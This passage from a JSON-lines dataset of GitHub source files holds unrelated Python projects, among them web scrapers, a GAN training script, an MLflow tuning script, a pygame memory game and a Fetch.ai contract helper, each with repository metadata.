设置三个坐标轴的比例一致,使得图形在三个方向上等比例显示\nax.set_box_aspect([1,1,1])\n\nplt.show()\n","repo_name":"utwoo/IrisBook-1-PythonForBeginners","sub_path":"11 2D and 3D Visualizations/3d_quiver_matplotlib.py","file_name":"3d_quiver_matplotlib.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71737186493","text":"\"\"\"\nCreated on Thu Feb 27 15:39:37 2019\n\n@author: Ali Masoumnia\n\"\"\"\nfrom bs4 import BeautifulSoup as bs\nimport html2text\nimport requests\nimport pandas as pd\nimport re\nimport time\n\ndf = pd.read_csv(\"alis_scraped_urls.csv\")\ndf.dropna(inplace = True)\ndf.columns = [\"CU\",\"LOC\",\"URL\"]\n\ndef fix(string):\n fixed_string = string.rstrip()\n return fixed_string\n \ndf[\"URL\"] = df.URL.apply(fix)\n\nfor x in range(len(df)):\n url = df[\"URL\"][x]\n f = html2text.HTML2Text()\n f.ignore_links = True\n f.ignore_anchors = True\n f.ignore_images = True\n f.ignore_emphasis = True\n f.skip_internal_links = True\n\n try:\n r = requests.get(url)\n r.raise_for_status()\n except:\n time.sleep(5)\n try:\n r = requests.get(url)\n r.raise_for_status()\n except:\n next\n \n soup = bs(r.content, \"lxml\").prettify()\n\n rendered_content = f.handle(str(soup))\n rendered_content = re.sub(r'{{.+?}}', '', rendered_content)\n rendered_content = rendered_content.replace(\"*\", \"\").replace(\"#\", \"\").replace(\"_\", \"\").replace(\"\\n\\n\\n\\n\", \"\\n\").replace(\"\\n\\n\\n\", \"\\n\\n\")\n rendered_content = ''.join(c for c in rendered_content if 0 < ord(c) < 200) \n \n file_name = 'corpus2/' + df[\"CU\"][x] + \".txt\"\n f = open(file_name, \"w\", encoding=\"utf-8\")\n f.write(rendered_content)\n f.close()","repo_name":"QMIND-Team/Credit-Union","sub_path":"preliminary_functions/scrape4text.py","file_name":"scrape4text.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38024720246","text":"import os\nimport time\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\nfrom SMGAN_util import train_dcm_data_loader, Generator_2D_CNN, Discriminator_2D, build_dataset, LambdaLR_, weights_init_normal, calc_gradeint_penalty, Structural_loss\n\nos.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\n\ndef main():\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n START_EPOCH = 0\n DECAY_EPOCH = 50\n NUM_EPOCH = 100\n BATCH_SIZE = 1\n CROP_NUMBER = 60 # The number of patches to extract from a single image. --> total batch img is BATCH_SIZE * CROP_NUMBER\n CROP_SIZE = 80\n N_CPU = 30\n CRITIC_ITER = 5\n LEARNING_RATE = 1e-3\n _BETA = 10e-3\n _TAU = 0.89\n _LAMBDA = 10\n\n save_path = '/home/shsy0404/result/SMGAN_result'\n\n generator = Generator_2D_CNN()\n discriminator = Discriminator_2D(input_size=CROP_SIZE)\n\n if torch.cuda.device_count() > 1:\n print(\"Use {} GPUs\".format(torch.cuda.device_count()), \"=\" * 9)\n generator = nn.DataParallel(generator)\n discriminator = nn.DataParallel(discriminator)\n\n generator.to(device)\n discriminator.to(device)\n\n generator.apply(weights_init_normal)\n discriminator.apply(weights_init_normal)\n\n # loss\n criterion_GAN = nn.MSELoss()\n criterion_Structure = Structural_loss()\n criterion_Sensitive = nn.L1Loss()\n\n # optimizer\n optimizer_G = torch.optim.Adam(generator.parameters(), lr=LEARNING_RATE)\n optimizer_D = torch.optim.Adam(discriminator.parameters(), lr=LEARNING_RATE)\n\n # learning rate schedulers\n lr_scheduler_G = torch.optim.lr_scheduler.LambdaLR(optimizer_G, lr_lambda=LambdaLR_(NUM_EPOCH, START_EPOCH, DECAY_EPOCH).step)\n lr_scheduler_D = torch.optim.lr_scheduler.LambdaLR(optimizer_D, lr_lambda=LambdaLR_(NUM_EPOCH, START_EPOCH, DECAY_EPOCH).step)\n\n # input & target data\n input_dir, target_dir, test_input_dir, test_target_dir = build_dataset(['L067', 'L291'], \"3mm\", norm_range=(-1024.0, 3072.0))\n train_dcm = train_dcm_data_loader(input_dir, target_dir, crop_size=CROP_SIZE, crop_n=CROP_NUMBER)\n train_loader = DataLoader(train_dcm, batch_size=BATCH_SIZE, shuffle=True, num_workers=N_CPU, drop_last=True)\n\n Tensor = torch.cuda.FloatTensor if torch.cuda.is_available() else torch.FloatTensor\n target_real = Variable(Tensor(BATCH_SIZE*CROP_NUMBER).fill_(1.0), requires_grad=False)\n target_real = target_real.reshape(-1,1)\n target_fake = Variable(Tensor(BATCH_SIZE*CROP_NUMBER).fill_(0.0), requires_grad=False)\n target_fake = target_fake.reshape(-1,1)\n\n for epoch in range(START_EPOCH, NUM_EPOCH):\n start_time = time.time()\n for i, (inputs, targets) in enumerate(train_loader):\n inputs = inputs.reshape(-1, CROP_SIZE, CROP_SIZE).to(device)\n targets = targets.reshape(-1, CROP_SIZE, CROP_SIZE).to(device)\n\n input_img = torch.tensor(inputs, requires_grad=True).unsqueeze(1).to(device)\n target_img = torch.tensor(targets).unsqueeze(1).to(device)\n if torch.cuda.is_available():\n input_img = input_img.type(torch.cuda.FloatTensor)\n target_img = target_img.type(torch.cuda.FloatTensor)\n\n ######## Train D ########\n optimizer_D.zero_grad()\n\n fake_img = generator(input_img)\n real_valid = discriminator(input_img)\n loss_d_real = criterion_GAN(real_valid, target_real)\n fake_valid = discriminator(fake_img)\n loss_d_fake = criterion_GAN(fake_valid, target_fake)\n\n gradient_penalty = calc_gradeint_penalty(discriminator, input_img.data, fake_img.data)\n\n loss_D = -loss_d_real + loss_d_fake + _LAMBDA * gradient_penalty\n loss_D.backward()\n optimizer_D.step()\n\n ######## Train G ########\n optimizer_G.zero_grad()\n\n if i % CRITIC_ITER == 0:\n fake_img = generator(input_img)\n fake_valid = discriminator(fake_img)\n loss_g = criterion_GAN(fake_valid, target_real)\n\n # Structure-sensitive loss\n loss_str = criterion_Structure(input_img, fake_img)\n loss_sen = criterion_Sensitive(input_img.data, fake_img.data)\n loss_ssl = _TAU * loss_str + (1-_TAU) * loss_sen\n\n loss_G = _BETA * loss_g + loss_ssl\n loss_G.backward()\n optimizer_G.step()\n\n\n if i % 10 == 0:\n print(\"EPOCH [{}/{}], STEP [{}/{}]\".format(epoch+1, NUM_EPOCH, i+1, len(train_loader)))\n print(\"Total Loss G: {}, \\nLoss Structure: {}, \\nLoss Sensitive: {}, \\nLoss G: {}, \\nTotal Loss D: {} \\nLoss D real: {} \\nLoss D fake: {} \\n==== \\n\".format(loss_G, loss_str, loss_sen, loss_g, loss_D, loss_d_real, loss_d_fake))\n\n","repo_name":"chacotw/SMGAN","sub_path":"SMGAN_train.py","file_name":"SMGAN_train.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"74614926970","text":"from Models.models import Warehouse, DigitalReading, Device, Sensor\nfrom database import db\nfrom sqlalchemy import desc\n\n\nclass MagAppModel:\n STRING_EMPTY_VALUE = \"--\"\n FORMAT_DATE = \"%d-%m-%y %H:%M:%S\"\n STRING_LABEL_TEMPERATURE = \" temperatura\"\n STRING_LABEL_HUMIDITY = \" wilgotność\"\n\n def __init__(self):\n self.__labels = {}\n self.__times = []\n self.__graph_values = {}\n\n @property\n def labels(self):\n return self.__labels\n\n @property\n def times(self):\n return self.__times\n\n @property\n def graph_values(self):\n return self.__graph_values\n \n def data_for_table(self):\n w = Warehouse()\n d = Device()\n s = Sensor()\n\n values = {}\n war = Warehouse.query.all()\n dev = {}\n sen = {}\n\n for w in war:\n dev[w.id] = Device.query.filter(\n Device.warehouse_id == w.id).all()\n for d in dev[w.id]:\n sen[d.id] = Sensor.query.filter(Sensor.device_id == d.id).all()\n for s in sen[d.id]:\n dr = DigitalReading.query.filter(DigitalReading.sensor_id == s.id).order_by(\n desc(DigitalReading.id)).limit(1).all()\n if len(dr) > 0:\n dr = dr[0]\n time = dr.time.strftime(self.FORMAT_DATE)\n values[s.id] = (w.name,\n d.name,\n s.name,\n round(dr.temperature, 2),\n round(dr.humidity, 2),\n time)\n else:\n values[s.id] = (w.name,\n d.name,\n s.name,\n self.STRING_EMPTY_VALUE,\n self.STRING_EMPTY_VALUE,\n self.STRING_EMPTY_VALUE)\n\n return values\n\n def __prepare_data_from_db(self, selected, from_date=None, to_date=None):\n full_data = {}\n filtered = {}\n for i in selected.selection():\n ids = int(selected.item(i, 'tag')[0])\n\n full_data[ids] = DigitalReading.query.filter(\n DigitalReading.sensor_id == ids).all()\n\n if from_date:\n filtered[ids] = []\n for sensor in full_data[ids]:\n if sensor.time >= from_date and sensor.time <= to_date:\n filtered.get(ids).append(sensor)\n\n if from_date:\n return filtered\n else:\n return full_data\n\n def __create_readings(self, sensors, temperature=False):\n self.__graph_values.clear()\n self.__labels.clear()\n for sensor in sensors:\n temp_key = sensor\n self.__labels[sensor] = sensor\n self.__graph_values[temp_key] = []\n for digital_read in sensors.get(sensor):\n if temperature:\n self.__graph_values.get(temp_key).append(digital_read.temperature)\n else:\n self.__graph_values.get(temp_key).append(digital_read.humidity)\n\n return self.__graph_values\n\n def __create_temp_and_humidity(self, sensors):\n self.__graph_values.clear()\n self.__labels.clear()\n for sensor in sensors:\n hum_key = str(sensor) + self.STRING_LABEL_HUMIDITY\n temp_key = str(sensor) + self.STRING_LABEL_TEMPERATURE\n\n self.__labels[hum_key] = hum_key\n self.__labels[temp_key] = temp_key\n\n self.__graph_values[hum_key] = []\n self.__graph_values[temp_key] = []\n\n for digital_read in sensors.get(sensor):\n self.__graph_values.get(hum_key).append(digital_read.humidity)\n self.__graph_values.get(temp_key).append(digital_read.temperature)\n\n return self.__graph_values\n\n def create_graph(self, from_date, to_date, selected, temperature= False, both=False):\n \n values = {}\n self.__times.clear()\n\n if from_date and to_date:\n values = self.__prepare_data_from_db(from_date=from_date, \n to_date=to_date,\n selected=selected)\n else:\n values = self.__prepare_data_from_db(selected=selected)\n\n if len(values) > 0:\n for i in values.keys():\n # Upewnianie się że mamy jednakowy dystans czasowy.\n # Tworzę tabele z czasami które były zbierane w określonym czasie.\n for digital_read in values.get(i):\n self.__times.append(digital_read.time)\n\n break\n\n if not both:\n self.__create_readings(values, temperature)\n else:\n self.__create_temp_and_humidity(values)","repo_name":"ArkadiuszStanislawLega/WarehouseApp","sub_path":"MagApp/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21582108705","text":"from stackArrayBased import Stack\ndef isValid( code) :\n j=code.find(\"<\")\n stack=Stack()\n while j !=-1:\n k = code.find(\">\" , j+1)\n if k==-1:\n return False\n cur_tag=code[j+1:k]\n if not cur_tag.startswith(\"/\"):\n stack.push(cur_tag)\n else:\n if stack and cur_tag[1:] == stack.top():\n stack.pop()\n else:\n return False\n j=code.find(\"<\" , k+1)\n return len(stack) == 0\nif __name__ == \"__main__\":\n stack=Stack()\n code=\"<html><head><title>hello

hello

\"\n print(isValid(code))\n code=\"hello

hello

\"\n print(isValid(code))\n","repo_name":"rabeh74/DS-and-Algorithms","sub_path":"DS/stacks/html_vlid_tag.py","file_name":"html_vlid_tag.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3139770044","text":"# BOJ 1005 ACM CRAFT\nimport sys\nfrom collections import deque\n\nsys.stdin = open('../input.txt', 'r')\nsi = sys.stdin.readline\n\n\ndef topological_sort(times, indegree, graph):\n ret = [0] * (n + 1)\n que = deque()\n for i in range(1, n + 1):\n if indegree[i] == 0:\n que.append(i)\n ret[i] += times[i]\n\n while que:\n u = que.popleft()\n\n for v in graph[u]:\n indegree[v] -= 1\n if indegree[v] == 0:\n que.append(v)\n ret[v] = max(ret[v], times[v] + ret[u])\n return ret\n\n\nt = int(si())\nfor _ in range(t):\n n, k = map(int, si().split())\n times = [0] + list(map(int, si().split()))\n indegree = [0] * (n + 1)\n graph = [[] for _ in range(n + 1)]\n for _ in range(k):\n a, b = map(int, si().split())\n indegree[b] += 1\n graph[a].append(b)\n ret = topological_sort(times, indegree, graph)\n print(ret[int(si())])\n","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"BOJ/graph_boj/acm_craft.py","file_name":"acm_craft.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19231390397","text":"import cloudscraper\nimport requests\nimport json\nimport os\n\ncwd = os.getcwd()\n\nscraper = cloudscraper.create_scraper()\n\nprint(\"=> Created by -= KIKO =-\")\nprint(\"=> Github: github.com/yesitskiko\")\nprint(\"=> Tiktok: hayyeeedekizo\")\nprint(\"=> Snapchat: k1ko418\")\nprint(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\")\nwallet_addr = input(\"Id: \")\nstart_idx = int(input(\"Start index: \"))\nfor index in range(start_idx, 10000):\n url = \"https://api.opensea.io/api/v1/asset/{id}/{i}/?format=json&include_orders=false\".format(id=wallet_addr, i=index)\n scraper_out = scraper.get(url)\n if scraper_out.status_code != 200:\n exit()\n json_raw = scraper_out.text\n json_obj = json.loads(json_raw)\n print(\"=> Downloading NFT #{i} [{name}]\".format(i=index, name=json_obj[\"name\"]))\n\n cwd = os.getcwd()\n nft_path = os.path.join(cwd, \"output\")\n\n\n if not os.path.exists(nft_path):\n os.makedirs(nft_path)\n\n img_data = requests.get(json_obj[\"image_url\"]).content\n with open(\"{path}/{id}.jpg\".format(id=json_obj[\"id\"], path=nft_path), 'wb') as handler:\n handler.write(img_data)\n","repo_name":"yesitskiko/nft-bulk-stealer","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"73842556411","text":"import pandas as pd\nimport mlflow\nimport scipy.optimize as opt\nfrom functools import partial\nfrom sklearn.model_selection import train_test_split \nfrom sklearn.tree import DecisionTreeClassifier \nfrom sklearn.ensemble import RandomForestClassifier \nfrom sklearn.metrics import accuracy_score, r2_score, f1_score\nfrom mlflow.tracking.client import MlflowClient\n\nimport mlflow\nfrom mlflow.models.signature import infer_signature\nfrom hyperopt import fmin, tpe, STATUS_OK, Trials, hp, space_eval \nfrom collections import OrderedDict\nimport os\nimport csv\nimport json\nimport scipy.optimize as opt\nfrom functools import partial\n# from loggers import logger\n\ndef load_data_modelling():\n cols = ['obj_ID', 'run_ID', 'rerun_ID', 'field_ID', 'spec_obj_ID', 'fiber_ID']\n data_train = pd.read_csv('Stellar_Proj/mlflow/data-train-X_train.csv')\n data_test = pd.read_csv('Stellar_Proj/mlflow/data-test-X_test.csv')\n remove_cols = cols\n data_train = data_train.drop(columns=remove_cols, axis=1)\n y_train = data_train['class']\n y_train = y_train.replace({'GALAXY': 0, 'QSO': 1, 'STAR': 2})\n X_train = data_train.drop(columns=['class'], axis=1)\n data_test = data_test.drop(columns=remove_cols, axis=1)\n y_test = data_test['class']\n y_test = y_test.replace({'GALAXY': 0, 'QSO': 1, 'STAR': 2})\n X_test = data_test.drop(columns=['class'], axis=1)\n return X_train, X_test, y_train, y_test\n\ndef objective(params, X, y):\n tuning = 1\n print('=== model_name Random Forest Tree====')\n print(\"====params=======\", params)\n \n\n # Create and train models.\n X_train, X_test , y_train, y_test = load_data_modelling()\n print(\"============== shapes ===============\")\n print(X_train.shape, y_train.shape)\n\n model = RandomForestClassifier(**params)\n print('ok')\n \n # logger.info('>>>>>>>>>>>>>> Model Loaded sucessfully ...')\n print('model running', model)\n model.fit(X_train, y_train)\n # Use the model to make predictions on the test dataset.\n predictions = model.predict(X_test)\n accuracy = accuracy_score(y_test, predictions)\n r2 = r2_score(y_test, predictions)\n f1_score_var = f1_score(y_test, predictions, average='weighted')\n print(predictions)\n with mlflow.start_run() as run:\n mlflow.log_params(params) # Log the parameters\n mlflow.log_metric(\"accuracy\", accuracy) # Log the accuracy\n mlflow.log_metric(\"r2_score\", r2)\n mlflow.log_metric(\"f1_score\", f1_score_var)\n mlflow.log_metric(\"Tuning\", tuning)\n signature = infer_signature(X_test, predictions)\n tuning = tuning + 1\n # logger.info('>>>>>>>>>>>>>> Model prediction don\n # e sucessfully ...')\n # Log the sklearn model and register as version 1\n \n \n #return {'loss': -accuracy_score(y_test, predictions) ,'params':params,'status': STATUS_OK}\n return {'loss': -accuracy, 'accuracy': accuracy, 'r2': r2, 'f1_score': f1_score_var, 'params': params, 'status': STATUS_OK}\n\n\n\n# Your objective function\ndef model_registry(params, X, y):\n # ... (model training and evaluation)\n X_train, X_test, y_train, y_test = load_data_modelling()\n print(\"============== Registring the model in MLFLOW ===============\")\n print(X_train.shape, y_train.shape)\n print(params)\n #djncofkd\n model = RandomForestClassifier(**params)\n # n_estimators = 100, min_sample_split = 20\n model.fit(X_train,y_train)\n # Calculate accuracy\n predictions = model.predict(X_test)\n accuracy = accuracy_score(y_test, predictions)\n r2 = r2_score(y_test, predictions)\n f1_score_var = f1_score(y_test, predictions, average='weighted')\n another_experiment_name = 'AnotherExperiment'\n mlflow.set_experiment(another_experiment_name)\n # Log parameters\n # return {'loss': -accuracy, 'status': STATUS_OK}\n\n\n\n\ndef rf_hyperoptimization():\n X_train, X_test, y_train, y_test = load_data_modelling()\n print(X_train.shape, y_train.shape)\n\n params_rf = OrderedDict([\n ('n_estimators', hp.randint('n_estimators', 100, 200)),\n ('criterion', hp.choice('criterion', ['gini', 'entropy'])),\n ('max_depth', hp.randint('max_depth', 10, 30))\n \n ])\n\n\n print(\"====================== Executing {} ==================\".format('RANDOM FOREST MODEL'))\n space = params_rf\n \n partial_function = partial(objective, X= X_train, y=y_train)\n result = fmin(fn=partial_function, space=params_rf, algo=tpe.suggest,max_evals=10) # x0 is the initial guess \n best_params = space_eval(space, result)\n # best_params['n_estimators'] = int(best_params['n_estimators'])\n # best_params['max_depth'] = int(best_params['max_depth'])\n # params = {'Random_Forest': best_params}\n # with open('Stellar_Proj\\dags\\src\\model_params_rf.json', 'w') as json_file:\n # json.dump(params, json_file, indent = 4)\n\n with open(os.path.join(\"Stellar_Proj/mlflow\", \"model_param_rf.json\"), 'r') as json_file:\n data = json.load(json_file)\n best_params = (data['Random_Forest'])\n \n model_registry(best_params, X_train, y_train)\n client = MlflowClient()\n client.update_registered_model(\n name=\"best_rf\",\n description=\"This Random forest model data is used to classify star, galaxy. The data consists of 18 features\"\n )\nrf_hyperoptimization()","repo_name":"jrspatel/Stellar_Proj","sub_path":"dag/dags/src/random_forest_model.py","file_name":"random_forest_model.py","file_ext":"py","file_size_in_byte":5280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16270851722","text":"from pygame import *\r\nimport pygame\r\nimport random\r\nimport time\r\n\r\nstart=time.time()\r\ncurTime=start\r\n\r\npygame.init()\r\npygame.mixer.init()\r\npygame.mixer.music.load('background.mp3')\r\npygame.mixer.music.play(-1)\r\n\r\n\r\nroot=display.set_mode((1200,700)) # create a window of given width and height\r\nrun=True\r\npygame.font.init() # initializes the font module\r\nmyfont = pygame.font.SysFont('Comic Sans MS', 30)\r\nheight,width=65,110 # height and width of image\r\nimage_list=[image.load(\"D:\\\\downloads\\\\game_images\\\\audi logo.jpg\"),image.load(\"D:\\\\downloads\\\\game_images\\\\benz logo.jpg\"),image.load(\"D:\\\\downloads\\\\game_images\\\\bmw logo.jpg\"),image.load(\"D:\\\\downloads\\\\game_images\\\\Bugatti-logo.png\"),image.load(\"D:\\\\downloads\\\\game_images\\\\ferrari logo.png\"),image.load(\"D:\\\\downloads\\\\game_images\\\\hummer logo.jpg\"),image.load(\"D:\\\\downloads\\\\game_images\\\\jaguar logo.jpg\"),image.load(\"D:\\\\downloads\\\\game_images\\\\lambo logo.jpg\"),image.load(\"D:\\\\downloads\\\\game_images\\\\porsche-logo.png\"),image.load(\"D:\\\\downloads\\\\game_images\\\\Rolls-Royce-Logo.jpg\")] #list of images\r\nfor i in range(len(image_list)):\r\n image_list[i] = transform.scale(image_list[i],(width,height)) # resize the image to given width and height\r\nimage_dict = {'AUDI': [] ,'BENZ':[] , 'BMW': [], 'BUGATTI':[],'FERRARI':[],'HUMMER':[],'JAGUAR':[],'LAMBO':[],'PORCHE':[],'ROLLS ROYCE':[]}\r\n\r\npos_list=[[i,j] for i in range(0,1200,120) for j in range(100,700,75)]\r\nrandom.shuffle(pos_list) # shuffles the list\r\n\r\nq_mark=image.load(\"D:\\\\downloads\\\\game_images\\\\Question-mark-red-3D-glossy.jpg\")\r\nq_mark=transform.scale(q_mark,(width,height))\r\n\r\ntemp1=int(len(pos_list)/len(image_list)) # 8\r\ntemp2=0\r\nclick = [] # co-ordinates of clicked tile\r\nfor i in image_dict:\r\n image_dict[i] = pos_list[temp2:temp1+temp2]\r\n temp2+=temp1\r\n\r\n\r\n\r\nclick2=[] # to store unique values of click\r\nresult=[] # correctly clicked tiles co-ordinates\r\nscore=0\r\nmoves=0\r\nwhile run:\r\n\r\n if time.time()>=curTime+1 :\r\n curTime+=1\r\n\r\n textsurface = myfont.render('score : '+ str(score), False, (0, 0, 0))\r\n moveText = myfont.render('moves : ' + str(moves), False, (0, 0, 0))\r\n timeText=myfont.render('time : ' + str(curTime-start), False, (0, 0, 0))\r\n\r\n for events in pygame.event.get(): # register all events from the user into an event queue\r\n if events.type==pygame.QUIT:\r\n run=False\r\n break\r\n if events.type==MOUSEBUTTONUP: # check whether we clicked mouse or not\r\n mouse_pos = pygame.mouse.get_pos()\r\n else:\r\n mouse_pos = [-1,-1]\r\n\r\n root.fill((0,0,0))\r\n draw.rect(root,(190,190,190),(0,0,1200,100))\r\n root.blit(textsurface, (50, 20))\r\n root.blit(moveText, (350, 20))\r\n root.blit(timeText, (650, 20))\r\n\r\n for i in range(0,1200,120):\r\n for j in range(100,700,75):\r\n if [i,j] not in click and [i,j] not in result:\r\n root.blit(q_mark, (i, j))\r\n\r\n############\r\n cur=0\r\n for i in image_dict:\r\n for j in image_dict[i]:\r\n if 0 <= mouse_pos[0]-j[0] <=width and 0 <= mouse_pos[1]-j[1] <= height:\r\n\r\n root.blit(image_list[cur],(j[0],j[1]))\r\n click.append(j)\r\n\r\n cur+=1\r\n\r\n for i in click:\r\n if i not in click2:\r\n click2.append(i)\r\n\r\n if len(click2)<3:\r\n for i in click2:\r\n cur1 = 0\r\n for k in image_dict:\r\n if i in image_dict[k]:\r\n root.blit(image_list[cur1],(i[0],i[1]))\r\n break\r\n cur1+=1\r\n\r\n if len(click2)==2:\r\n var=0\r\n for k in image_dict:\r\n if click2[0] in image_dict[k] and click2[1] in image_dict[k]:\r\n correctClick = mixer.music\r\n correctClick.play()\r\n result.append(click2[0])\r\n result.append(click2[1])\r\n var=1\r\n if var==0:\r\n score-=1\r\n elif var==1:\r\n score += 10\r\n moves+=1\r\n click2=[]\r\n click=[]\r\n\r\n display.update()\r\n\r\n\r\n","repo_name":"Kaamesh2002/Memory_Game_Using_PYGAME","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28131532533","text":"from django import forms\nfrom django.db import models\nfrom django.forms import widgets\nfrom .models import JornadaClass, TIPO_EMPRESA,TIPO_JORNADA,REGION\nfrom horario.models import HorarioClass\n\n#declarando la clase JornadaForm que hereda de la clase Form\nclass JornadaForm(forms.ModelForm):\n class Meta:\n model = JornadaClass\n\n fields = [\n 'tipo',\n 'descripcion',\n 'tipo_empresa',\n 'region',\n 'actividad_economica',\n 'horario'\n ]\n\n labels = {\n 'tipo': 'Tipo de Jornada',\n 'descripcion': 'Descripcion',\n 'tipo_empresa': 'Tipo de Empresa',\n 'region': 'Region',\n 'actividad_economica': 'Actividad Economica',\n 'horario': 'Horario',\n }\n widgets = {\n 'tipo': forms.Select(choices=TIPO_JORNADA, attrs={'class':'form-control form-control-sm' }),\n 'descripcion': forms.Textarea( attrs={'class':'form-control form-control-sm' }),\n 'tipo_empresa': forms.Select(choices=TIPO_EMPRESA, attrs={'class':'form-control form-control-sm '}),\n 'region': forms.Select(choices=REGION,attrs={'class':'form-control form-control-sm '}),\n 'actividad_economica': forms.Select(attrs={'class':'form-control form-control-sm '}),\n # 'horario': forms.ModelMultipleChoiceField(queryset=HorarioClass.objects.all())\n 'horario': forms.CheckboxSelectMultiple(attrs={'class':'form-control form-control-sm '})\n }\n \n\n\t\t\t\n\n\t\t\t\n\n","repo_name":"dyronrh/hcmfront-for-test","sub_path":"jornada/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18949037169","text":"import random\n\nfrom fetchai.ledger.api import LedgerApi\nfrom fetchai.ledger.contract import Contract\nfrom fetchai.ledger.crypto import Entity\n\n\n_CONTRACT_TEXT = \"\"\"\\\npersistent solution : Int32;\n\n@problem\nfunction createProblem(data : Array) : Int32\n var value = 0;\n for (i in 0:data.count())\n value += data[i].getInt32(\"value\");\n endfor\n return value;\nendfunction\n\n@objective\nfunction evaluateWork(problem : Int32, solution : Int32 ) : Int64\n return abs(toInt64(problem));\nendfunction\n\n@work\nfunction doWork(problem : Int32, nonce : UInt256) : Int32\n return problem;\nendfunction\n\n@clear\nfunction applyWork(problem : Int32, new_solution : Int32)\n use solution;\n\n solution.set(solution.get(0) + new_solution);\nendfunction\n\n@query\nfunction query_result() : Int32\n use solution;\n\n return solution.get(-1);\nendfunction\n\"\"\"\n\n\nclass SynergeticContractTestHelper:\n def __init__(self, name, api, entity, workdir=\".\"):\n self._api = api\n self._entity = entity\n self._name = name\n self.contract = None\n self._workdir = workdir\n\n def create_new(self, fee_limit):\n self.contract = Contract(_CONTRACT_TEXT, self._entity)\n print('Creating contract..')\n self._api.sync(self._api.contracts.create(\n self._entity, self.contract, fee_limit))\n if len(self._name) > 0:\n with open(self._workdir+\"/\"+self._name+\".json\", \"w\") as f:\n self.contract.dump(f)\n\n def load(self):\n print('Loading contract..')\n with open(self._workdir+\"/\"+self._name+\".json\", \"r\") as f:\n self.contract = Contract.load(f)\n\n def submit_random_data(self, n, number_range, hold_state_sec=10):\n # create a whole series of random data to submit to the DAG\n random_ints = [random.randint(*number_range) for _ in range(n)]\n txs = [self._api.contracts.submit_data(self._entity, self.contract.address, value=value)\n for value in random_ints]\n self._api.sync(txs, hold_state_sec=hold_state_sec,\n extend_success_status=[\"Submitted\"])\n print('Data submitted.')\n\n def validate_execution(self):\n result = self.contract.query(self._api, 'query_result')\n return result != -1\n","repo_name":"fetchai/ledger","sub_path":"scripts/end_to_end_test/smart_contract_tests/synergetic_utils.py","file_name":"synergetic_utils.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"78"} +{"seq_id":"25805285095","text":"class Person:\n def pvalue(self,name,age):\n self.name=name\n self.age=age\n print(self.name,self.age)\nclass Child(Person):\n def cvalue(self,adrs,cls):\n self.adrs=adrs\n self.cls=cls\n print(self.adrs,self.cls)\nclass Parent(Person):\n def parvalue(self,phn):\n self.phn=phn\n print(self.phn)\nclass Student(Child):\n def svalue(self,rollno,mark):\n self.rollno=rollno\n self.mark=mark\n print(self.rollno,self.mark)\n\nch=Child()\nch.pvalue(\"Anju\",12)\nch.cvalue(\"Kollam\",4)\n\npa=Parent()\npa.pvalue(\"Achu\",35)\npa.parvalue(9739475654)\n\nst=Student()\nst.cvalue(\"PTA\",10)\nst.svalue(12,49)\nst.pvalue(\"Anjali\",22)\n","repo_name":"HarithaPS21/Luminar_Python","sub_path":"Advanced_python/object_oriented_programming/Inheritance/Multiple&Hierarchial/PersonChildParentStudent.py","file_name":"PersonChildParentStudent.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21527017504","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport netaddr\n\nfrom apicapi import apic_manager\nfrom keystoneclient.v2_0 import client as keyclient\nfrom neutron.common import exceptions as n_exc\nfrom neutron.extensions import providernet as pn\nfrom neutron.extensions import securitygroup as ext_sg\nfrom neutron import manager\nfrom neutron.plugins.ml2.drivers.cisco.apic import apic_model\nfrom neutron.plugins.ml2.drivers.cisco.apic import config\nfrom neutron.plugins.ml2 import models\nfrom oslo_concurrency import lockutils\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\n\nfrom gbpservice.neutron.db.grouppolicy import group_policy_mapping_db as gpdb\nfrom gbpservice.neutron.services.grouppolicy.common import constants as g_const\nfrom gbpservice.neutron.services.grouppolicy.common import exceptions as gpexc\nfrom gbpservice.neutron.services.grouppolicy.drivers import (\n resource_mapping as api)\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass L2PolicyMultiplePolicyTargetGroupNotSupportedOnApicDriver(\n 